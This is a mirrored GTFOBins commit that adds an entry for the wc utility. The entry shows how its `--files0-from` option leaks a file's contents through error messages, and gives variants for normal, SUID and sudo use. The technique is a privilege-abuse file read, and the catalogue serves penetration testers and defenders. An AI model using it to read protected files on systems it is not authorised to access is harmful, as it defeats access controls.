mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 15:59:17 +01:00
Add wc
This commit is contained in:
parent
4469fdc662
commit
69be6785a9
16
_gtfobins/wc.md
Normal file
16
_gtfobins/wc.md
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
---
|
||||||
|
description: The file content is parsed as a sequence of `\x00` separated paths. On error the file content appears in a message, so this may not be suitable to read binary files.
|
||||||
|
functions:
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
wc --files0-from "$LFILE"
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./wc --files0-from "$LFILE"
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo wc --files0-from "$LFILE"
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user